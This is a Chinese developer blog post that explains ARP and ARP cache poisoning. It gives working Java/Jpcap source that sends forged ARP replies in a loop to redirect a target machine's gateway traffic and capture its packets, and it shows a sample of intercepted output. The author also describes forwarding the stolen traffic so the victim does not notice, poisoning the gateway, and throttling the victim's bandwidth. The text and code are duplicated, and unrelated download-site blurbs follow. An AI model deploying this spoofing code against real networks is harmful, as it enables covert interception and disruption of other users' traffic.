- 浏览: 22205 次
- 性别:
- 来自: 杭州
-
文章分类
最新评论
ARP(Address Resolution Protocol)既地址解释协议,主要的目的是用于进行IP和MAC地址解释的。IP是网络层协议,而MAC是被数据链路层使用。网络中两个节点要进行 通信,那么首先发送端必须要知道源和目的地的MAC地址,而网络层是使用IP地址,所以要获得MAC地址,就必须通过IP地址获取对应的MAC地址,这样 就需要使用ARP协议将IP地址转换为MAC地址,而同时为了能够快速的找到目的地的MAC地址,每个节点都会有一个ARP缓存,用于保存已经转好好的 MAC地址,大家可以在控制台下使用arp –a指令查看arp缓存表。
而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候,系统会首先检查ARP表中是否存在对应的IP地址,如果没有,则发送一个ARP广 播,当某一个拥有这个MAC地址的节点收到ARP请求的时候,会创建一个ARP reply包,并发送到ARP请求的源节点,ARP Reply包中就包含了目的地节点的MAC地址,在源节点接受到这个reply后,会将目的地节点的MAC地址保存在ARP缓存表中,下一次再次请求同一 IP地址的时候,系统将会从ARP表中直接获取目的地MAC地址,而不需要再次发送ARP广播。
看到这里,ARP的具体过程大概讲解了一遍,希望能够解释清楚。相信有心的朋友一定已经开始考虑ARP欺骗的原理了吧,其实就是利用ARP表进行ARP欺 骗,比如一台局域网内的机器A,通过网关B进行internet连接,而它的arp表中保存着网关B的IP和MAC地址对,如下:
192.168.1.1 —> MAC1(懒得写那么长了,就以MAC1作为MAC地址了)
那么也就是说,当A想上网的时候,他所有的数据都将先发送到网关再由网关转发出去,那么A的数据首先会通过192.168.1.1找到网关的 MAC地址 MAC1,然后就可把数据发送到网关了。此时你的机器是C,MAC地址是MAC2,你想通过ARP欺骗来获取A传输的数据,那么你所需要做的事情其实很简 单,就是将机器A的ARP表中192.168.1.1对应的MAC地址MAC1改成MAC2即可,这样子机器A所有发送到192.168.1.1的数据就 会发到MAC地址为MAC2的机器上,也就是你的机器上了。
要更改APR表的记录,办法就是伪造一个ARP reply包发送给机器A,而这个ARP reply包中的源IP为192.168.1.1,MAC地址为MAC2既你的机器的MAC地址即可,机器A接受到后就会将这个源IP和MAC刷新到它的 ARP缓存表中,覆盖原有的记录,最终这样就可以达到ARP欺骗的目的了。
讲到这里不知道大家是否对ARP欺骗有所了解呢?如果再不了解那就上网搜搜吧,网上很多相关的资料。好了,原理讲完了,那就轮到实现了,通过JAVA又如何实现ARP欺骗呢?
从头到尾来做,当然不是我的作风,JAVA社区那么庞大,我么应该好好利用,要站在巨人的肩膀上成功嘛,呵呵。有一个开源项目JPCAP,这个项目提供一个中间层接口让使用者可以调用如wincap/libpcap这些库对网络传输进行控制,具体可到官方网站查看其文档。
在这里,我实现了一个简单的封包截取程序,根据ARP欺骗的原理,我们所需要做的事情如下:
1、 构建一个ARP Reply包
2、 将该封包发送到需要欺骗的机器
如上代码实现了创建一个发送到IP为192.168.11.4的机器的ARP reply封包,其中可看到,reply包中的源IP为192.168.11.1,而源MAC则被改成当前机器的MAC地址,既 device.mac_address,这样当192.168.11.4的机器接收到该reply包后,就会刷新ARP表,并且所有发送往 192.168.11.1的数据都会实际发送到当前运行该程序的机器。程序中创建了一个线程用于循环发送reply封包,主要是因为ARP表会在一定时间 内更新,所以要不停的发送才能保证其MAC地址时刻都是被改变的。同时主线程用于监听并打印当前设备的所有IP数据包信息,本来此方法只能监听到本机数据 包的信息,但由于使用了ARP欺骗,所以你会在192.168.11.4发送数据到192.168.11.1的时候截获其数据包,并看到类似如下的信息:
1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922) TCP 1337 > 8016 seq(1062321893) win(65535) S
其实上例程序虽然可以截获并监听192.168.11.4的数据包,但是如果真的运行起来后,192.168.11.4的机器将会无法上网(假设该机器通过192.168.11.1作为网关上网),这又是为何呢?
这就是因为本机截获了192.168.11.4的封包,但是却没有将封包转发出去,所以实际上数据包到了你的机器上后就被中断了,数据包无法发送出去。既 然要监听对方机器,当然不能让对方知道啦,如果你监听了那台机器,却导致对方无法上网,傻子也知道有问题啦,所以以上程序仍然要加个补充,那就是将封包数 据在转发到192.168.11.1上,只要将截获的封包再send出去就可以了,具体如何做就留给大家想吧,困了,休息了,如果有朋友有兴趣又实在想不 出如何做的话,可以向我提出来,有必要的话,下次再贴一个完整点的例子吧。
对了,最后还有补充的地方,那就是我们可以通过同样的方式刷新网关的ARP,这样网关接受到的数据也会被本机截获,同样再通过本机转发到目的机器即可。这 样对方既可正常上网,而我们又可截获对方的数据包,如果要进行限速的话,那就是在截获封包的同时,进行一定的延时,比如一秒只允许多少K的数据通过,都可 以在这里做手脚,同样的,具体如何留给大家想吧。
而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候,系统会首先检查ARP表中是否存在对应的IP地址,如果没有,则发送一个ARP广 播,当某一个拥有这个MAC地址的节点收到ARP请求的时候,会创建一个ARP reply包,并发送到ARP请求的源节点,ARP Reply包中就包含了目的地节点的MAC地址,在源节点接受到这个reply后,会将目的地节点的MAC地址保存在ARP缓存表中,下一次再次请求同一 IP地址的时候,系统将会从ARP表中直接获取目的地MAC地址,而不需要再次发送ARP广播。
看到这里,ARP的具体过程大概讲解了一遍,希望能够解释清楚。相信有心的朋友一定已经开始考虑ARP欺骗的原理了吧,其实就是利用ARP表进行ARP欺 骗,比如一台局域网内的机器A,通过网关B进行internet连接,而它的arp表中保存着网关B的IP和MAC地址对,如下:
192.168.1.1 —> MAC1(懒得写那么长了,就以MAC1作为MAC地址了)
那么也就是说,当A想上网的时候,他所有的数据都将先发送到网关再由网关转发出去,那么A的数据首先会通过192.168.1.1找到网关的 MAC地址 MAC1,然后就可把数据发送到网关了。此时你的机器是C,MAC地址是MAC2,你想通过ARP欺骗来获取A传输的数据,那么你所需要做的事情其实很简 单,就是将机器A的ARP表中192.168.1.1对应的MAC地址MAC1改成MAC2即可,这样子机器A所有发送到192.168.1.1的数据就 会发到MAC地址为MAC2的机器上,也就是你的机器上了。
要更改APR表的记录,办法就是伪造一个ARP reply包发送给机器A,而这个ARP reply包中的源IP为192.168.1.1,MAC地址为MAC2既你的机器的MAC地址即可,机器A接受到后就会将这个源IP和MAC刷新到它的 ARP缓存表中,覆盖原有的记录,最终这样就可以达到ARP欺骗的目的了。
讲到这里不知道大家是否对ARP欺骗有所了解呢?如果再不了解那就上网搜搜吧,网上很多相关的资料。好了,原理讲完了,那就轮到实现了,通过JAVA又如何实现ARP欺骗呢?
从头到尾来做,当然不是我的作风,JAVA社区那么庞大,我么应该好好利用,要站在巨人的肩膀上成功嘛,呵呵。有一个开源项目JPCAP,这个项目提供一个中间层接口让使用者可以调用如wincap/libpcap这些库对网络传输进行控制,具体可到官方网站查看其文档。
在这里,我实现了一个简单的封包截取程序,根据ARP欺骗的原理,我们所需要做的事情如下:
1、 构建一个ARP Reply包
2、 将该封包发送到需要欺骗的机器
public class LocalListener { private final static String GATE_IP = "192.168.11.1" ; private final static byte [] GATE_MAC = { 0x00 , 0x0a , ( byte ) 0xc5 , 0x42 , 0x6e , ( byte ) 0x9a }; private JpcapCaptor jpcap; //与设备的连接 private JpcapSender sender; //用于发送的实例 private Packet replyPacket; //ARP reply包 private NetworkInterface device; //当前机器网卡设备 private IpMacMap targetIpMacMap; //目的地IP MAC对 public LocalListener(IpMacMap target) throws Exception { NetworkInterface[] devices =JpcapCaptor.getDeviceList(); device = devices[1 ]; this .targetIpMacMap = target; initSender(); initPacket(); } private void initSender() throws Exception { jpcap = JpcapCaptor.openDevice(device, 2000 , false , 10000 ); //打开与设备的连接 jpcap.setFilter("ip" , true ); //只监听ip数据包 sender = jpcap.getJpcapSenderInstance(); } private void initPacket() throws Exception { //reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表 IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address); //创建修改目标机器ARP的包 replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd); //创建以太网头信息,并打包进reply包 replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(), device.mac_address); } public void listen() throws InterruptedException{ Thread t = new Thread( new Runnable() { public void run() { //发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送 while ( true ){ send(); try { Thread.sleep(500 ); } catch (InterruptedException ex) { Logger.getLogger(LocalListener.class .getName()).log(Level.SEVERE, null , ex); } } } }); t.start(); //截获当前网络设备的封包收发信息 while ( true ){ IPPacket ipPacket = (IPPacket)jpcap.getPacket(); System.out.println(ipPacket); } }} //IP-MAC实体,只用于保存一对IP-MAC地址 public class IpMacMap { private String ip; private byte [] mac; public IpMacMap(){ } public IpMacMap(String ip, byte [] mac){ this .ip = ip; this .mac = mac; } public String getIp() { return ip; } public void setIp(String ip) { this .ip = ip; } public byte [] getMac() { return mac; } public void setMac( byte [] mac) { this .mac = mac; } } //ARP reply包生成类,用于根据目的地址和源地址生成reply包 public class ARPPacketGern{ public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{ ARPPacket arpTarget = new ARPPacket(); arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet) arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型 arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型 arpTarget.hlen = 6 ; //MAC地址长度固定6个字节 arpTarget.plen = 4 ; //IP地址长度固定4个字节 arpTarget.target_hardaddr = target.getMac(); arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress(); arpTarget.sender_hardaddr = sender.getMac(); arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress(); return arpTarget; } } //根据目的地MAC和源MAC构建以太网头信息,用于传输数据 public class EthernetPacketGern{ public static EthernetPacket genPacket( byte [] targetMac, byte [] senderMac) throws Exception { EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头 ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型 ethToTarget.dst_mac = targetMac; ethToTarget.src_mac = senderMac; return ethToTarget; } }
public class LocalListener { private final static String GATE_IP = "192.168.11.1"; private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a}; private JpcapCaptor jpcap;//与设备的连接 private JpcapSender sender; //用于发送的实例 private Packet replyPacket;//ARP reply包 private NetworkInterface device;//当前机器网卡设备 private IpMacMap targetIpMacMap;//目的地IP MAC对 public LocalListener(IpMacMap target) throws Exception { NetworkInterface[] devices =JpcapCaptor.getDeviceList(); device = devices[1]; this.targetIpMacMap = target; initSender(); initPacket(); } private void initSender() throws Exception { jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接 jpcap.setFilter("ip", true); //只监听ip数据包 sender = jpcap.getJpcapSenderInstance(); } private void initPacket() throws Exception { //reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表 IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address); //创建修改目标机器ARP的包 replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd); //创建以太网头信息,并打包进reply包 replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(), device.mac_address); } public void listen() throws InterruptedException{ Thread t = new Thread(new Runnable() { public void run() { //发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送 while(true){ send(); try { Thread.sleep(500); } catch (InterruptedException ex) { Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex); } } } }); t.start(); //截获当前网络设备的封包收发信息 while(true){ IPPacket ipPacket = (IPPacket)jpcap.getPacket(); System.out.println(ipPacket); } }} //IP-MAC实体,只用于保存一对IP-MAC地址 public class IpMacMap { private String ip; private byte[] mac; public IpMacMap(){ } public IpMacMap(String ip, byte[] mac){ this.ip = ip; this.mac = mac; } public String getIp() { return ip; } public void setIp(String ip) { this.ip = ip; } public byte[] getMac() { return mac; } public void setMac(byte[] mac) { this.mac = mac; } } //ARP reply包生成类,用于根据目的地址和源地址生成reply包 public class ARPPacketGern{ public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{ ARPPacket arpTarget = new ARPPacket(); arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet) arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型 arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型 arpTarget.hlen = 6; //MAC地址长度固定6个字节 arpTarget.plen = 4; //IP地址长度固定4个字节 arpTarget.target_hardaddr = target.getMac(); arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress(); arpTarget.sender_hardaddr = sender.getMac(); arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress(); return arpTarget; } } //根据目的地MAC和源MAC构建以太网头信息,用于传输数据 public class EthernetPacketGern{ public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception { EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头 ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型 ethToTarget.dst_mac = targetMac; ethToTarget.src_mac = senderMac; return ethToTarget; } }
如上代码实现了创建一个发送到IP为192.168.11.4的机器的ARP reply封包,其中可看到,reply包中的源IP为192.168.11.1,而源MAC则被改成当前机器的MAC地址,既 device.mac_address,这样当192.168.11.4的机器接收到该reply包后,就会刷新ARP表,并且所有发送往 192.168.11.1的数据都会实际发送到当前运行该程序的机器。程序中创建了一个线程用于循环发送reply封包,主要是因为ARP表会在一定时间 内更新,所以要不停的发送才能保证其MAC地址时刻都是被改变的。同时主线程用于监听并打印当前设备的所有IP数据包信息,本来此方法只能监听到本机数据 包的信息,但由于使用了ARP欺骗,所以你会在192.168.11.4发送数据到192.168.11.1的时候截获其数据包,并看到类似如下的信息:
1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922) TCP 1337 > 8016 seq(1062321893) win(65535) S
其实上例程序虽然可以截获并监听192.168.11.4的数据包,但是如果真的运行起来后,192.168.11.4的机器将会无法上网(假设该机器通过192.168.11.1作为网关上网),这又是为何呢?
这就是因为本机截获了192.168.11.4的封包,但是却没有将封包转发出去,所以实际上数据包到了你的机器上后就被中断了,数据包无法发送出去。既 然要监听对方机器,当然不能让对方知道啦,如果你监听了那台机器,却导致对方无法上网,傻子也知道有问题啦,所以以上程序仍然要加个补充,那就是将封包数 据在转发到192.168.11.1上,只要将截获的封包再send出去就可以了,具体如何做就留给大家想吧,困了,休息了,如果有朋友有兴趣又实在想不 出如何做的话,可以向我提出来,有必要的话,下次再贴一个完整点的例子吧。
对了,最后还有补充的地方,那就是我们可以通过同样的方式刷新网关的ARP,这样网关接受到的数据也会被本机截获,同样再通过本机转发到目的机器即可。这 样对方既可正常上网,而我们又可截获对方的数据包,如果要进行限速的话,那就是在截获封包的同时,进行一定的延时,比如一秒只允许多少K的数据通过,都可 以在这里做手脚,同样的,具体如何留给大家想吧。
相关推荐
目前网络上类似P2P终结者这类软件,主要都是基于ARP欺骗实现的,网络上到处都有关于ARP欺骗的介绍,不过为了本文读者不需要再去查找,我就在这里大概讲解一下
5. **ARP欺骗和数据封包监听**:在更底层的网络编程中,Java可以通过套接字编程或第三方库(如Jpcap)来实现ARP欺骗和数据包捕获,这通常用于网络安全分析和网络嗅探。 总结起来,本文主要讨论了如何在JSP中使用...
内容概要:本文档《数据结构》(02331)第一章主要介绍数据结构的基础概念,涵盖数据与数据元素的定义及其特性,详细阐述了数据结构的三大要素:逻辑结构、存储结构和数据运算。逻辑结构分为线性结构(如线性表、栈、队列)、树形结构(涉及根节点、父节点、子节点等术语)和其他结构。存储结构对比了顺序存储和链式存储的特点,包括访问方式、插入删除操作的时间复杂度以及空间分配方式,并介绍了索引存储和散列存储的概念。最后讲解了抽象数据类型(ADT)的定义及其组成部分,并探讨了算法分析中的时间复杂度计算方法。 适合人群:计算机相关专业学生或初学者,对数据结构有一定兴趣并希望系统学习其基础知识的人群。 使用场景及目标:①理解数据结构的基本概念,掌握逻辑结构和存储结构的区别与联系;②熟悉不同存储方式的特点及应用场景;③学会分析简单算法的时间复杂度,为后续深入学习打下坚实基础。 阅读建议:本章节内容较为理论化,建议结合实际案例进行理解,尤其是对于逻辑结构和存储结构的理解要深入到具体的应用场景中,同时可以尝试编写一些简单的程序来加深对抽象数据类型的认识。
内容概要:本文详细介绍了施耐德M580系列PLC的存储结构、系统硬件架构、上电写入程序及CPU冗余特性。在存储结构方面,涵盖拓扑寻址、Device DDT远程寻址以及寄存器寻址三种方式,详细解释了不同类型的寻址方法及其应用场景。系统硬件架构部分,阐述了最小系统的构建要素,包括CPU、机架和模块的选择与配置,并介绍了常见的系统拓扑结构,如简单的机架间拓扑和远程子站以太网菊花链等。上电写入程序环节,说明了通过USB和以太网两种接口进行程序下载的具体步骤,特别是针对初次下载时IP地址的设置方法。最后,CPU冗余部分重点描述了热备功能的实现机制,包括IP通讯地址配置和热备拓扑结构。 适合人群:从事工业自动化领域工作的技术人员,特别是对PLC编程及系统集成有一定了解的工程师。 使用场景及目标:①帮助工程师理解施耐德M580系列PLC的寻址机制,以便更好地进行模块配置和编程;②指导工程师完成最小系统的搭建,优化系统拓扑结构的设计;③提供详细的上电写入程序指南,确保程序下载顺利进行;④解释CPU冗余的实现方式,提高系统的稳定性和可靠性。 其他说明:文中还涉及一些特殊模块的功能介绍,如定时器事件和Modbus串口通讯模块,这些内容有助于用户深入了解M580系列PLC的高级应用。此外,附录部分提供了远程子站和热备冗余系统的实物图片,便于用户直观理解相关概念。
某型自动垂直提升仓储系统方案论证及关键零部件的设计.zip
2135D3F1EFA99CB590678658F575DB23.pdf#page=1&view=fitH
可以搜索文本内的内容,指定目录,指定文件格式,匹配大小写等
Windows 平台 Android Studio 下载与安装指南.zip
Android Studio Meerkat 2024.3.1 Patch 1(android-studio-2024.3.1.14-windows.zip)适用于Windows系统,文件使用360压缩软件分割成两个压缩包,必须一起下载使用: part1: https://download.csdn.net/download/weixin_43800734/90557033 part2: https://download.csdn.net/download/weixin_43800734/90557035
国网台区终端最新规范
国网台区终端最新规范
1.【锂电池剩余寿命预测】Transformer-GRU锂电池剩余寿命预测(Matlab完整源码和数据) 2.数据集:NASA数据集,已经处理好,B0005电池训练、B0006测试; 3.环境准备:Matlab2023b,可读性强; 4.模型描述:Transformer-GRU在各种各样的问题上表现非常出色,现在被广泛使用。 5.领域描述:近年来,随着锂离子电池的能量密度、功率密度逐渐提升,其安全性能与剩余使用寿命预测变得愈发重要。本代码实现了Transformer-GRU在该领域的应用。 6.作者介绍:机器学习之心,博客专家认证,机器学习领域创作者,2023博客之星TOP50,主做机器学习和深度学习时序、回归、分类、聚类和降维等程序设计和案例分析,文章底部有博主联系方式。从事Matlab、Python算法仿真工作8年,更多仿真源码、数据集定制私信。
Android项目原生java语言课程设计,包含LW+ppt
大学生入门前端-五子棋vue项目
这是一个完整的端到端解决方案,用于分析和预测阿联酋(UAE)地区的二手车价格。数据集包含 10,000 条二手车信息,覆盖了迪拜、阿布扎比和沙迦等城市,并提供了精确的地理位置数据。此外,项目还包括一个基于 Dash 构建的 Web 应用程序代码和一个训练好的 XGBoost 模型,帮助用户探索区域市场趋势、预测车价以及可视化地理空间洞察。 数据集内容 项目文件以压缩 ZIP 归档形式提供,包含以下内容: 数据文件: data/uae_used_cars_10k.csv:包含 10,000 条二手车记录的数据集,涵盖车辆品牌、型号、年份、里程数、发动机缸数、价格、变速箱类型、燃料类型、颜色、描述以及销售地点(如迪拜、阿布扎比、沙迦)。 模型文件: models/stacking_model.pkl:训练好的 XGBoost 模型,用于预测二手车价格。 models/scaler.pkl:用于数据预处理的缩放器。 models.py:模型相关功能的实现。 train_model.py:训练模型的脚本。 Web 应用程序文件: app.py:Dash 应用程序的主文件。 callback
资源内项目源码是来自个人的毕业设计,代码都测试ok,包含源码、数据集、可视化页面和部署说明,可产生核心指标曲线图、混淆矩阵、F1分数曲线、精确率-召回率曲线、验证集预测结果、标签分布图。都是运行成功后才上传资源,毕设答辩评审绝对信服的保底85分以上,放心下载使用,拿来就能用。包含源码、数据集、可视化页面和部署说明一站式服务,拿来就能用的绝对好资源!!! 项目备注 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用! 2、本项目适合计算机相关专业(如计科、人工智能、通信工程、自动化、电子信息等)的在校学生、老师或者企业员工下载学习,也适合小白学习进阶,当然也可作为毕设项目、课程设计、大作业、项目初期立项演示等。 3、如果基础还行,也可在此代码基础上进行修改,以实现其他功能,也可用于毕设、课设、作业等。 下载后请首先打开README.txt文件,仅供学习参考, 切勿用于商业用途。
资源内项目源码是来自个人的毕业设计,代码都测试ok,包含源码、数据集、可视化页面和部署说明,可产生核心指标曲线图、混淆矩阵、F1分数曲线、精确率-召回率曲线、验证集预测结果、标签分布图。都是运行成功后才上传资源,毕设答辩评审绝对信服的保底85分以上,放心下载使用,拿来就能用。包含源码、数据集、可视化页面和部署说明一站式服务,拿来就能用的绝对好资源!!! 项目备注 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用! 2、本项目适合计算机相关专业(如计科、人工智能、通信工程、自动化、电子信息等)的在校学生、老师或者企业员工下载学习,也适合小白学习进阶,当然也可作为毕设项目、课程设计、大作业、项目初期立项演示等。 3、如果基础还行,也可在此代码基础上进行修改,以实现其他功能,也可用于毕设、课设、作业等。 下载后请首先打开README.txt文件,仅供学习参考, 切勿用于商业用途。
此为代码审查工具 可查 文件数,字节数,总行数,代码行数,注释行数,空白行数,注释率等
内容概要:本文档涵盖了一项关于企业破产概率的详细分析任务,分为书面回答和Python代码实现两大部分。第一部分涉及对业务类型和破产状态的边际分布、条件分布及相对风险的计算,并绘制了相应的二维条形图。第二部分利用Python进行了数据处理和可视化,包括计算比值比、识别抽样技术类型、分析鱼类数据集以及探讨辛普森悖论。此外,还提供了针对鱼类和树木数据的统计分析方法。 适合人群:适用于有一定数学和编程基础的学习者,尤其是对统计学、数据分析感兴趣的大学生或研究人员。 使用场景及目标:①帮助学生掌握统计学概念如边际分布、条件分布、相对风险和比值比的实际应用;②教授如何用Python进行数据清洗、分析和可视化;③提高对不同类型抽样技术和潜在偏见的理解。 其他说明:文档不仅包含了理论知识讲解,还有具体的代码实例供读者参考实践。同时提醒读者在完成作业时需要注意提交格式的要求。
MCP快速入门实战,详细的实战教程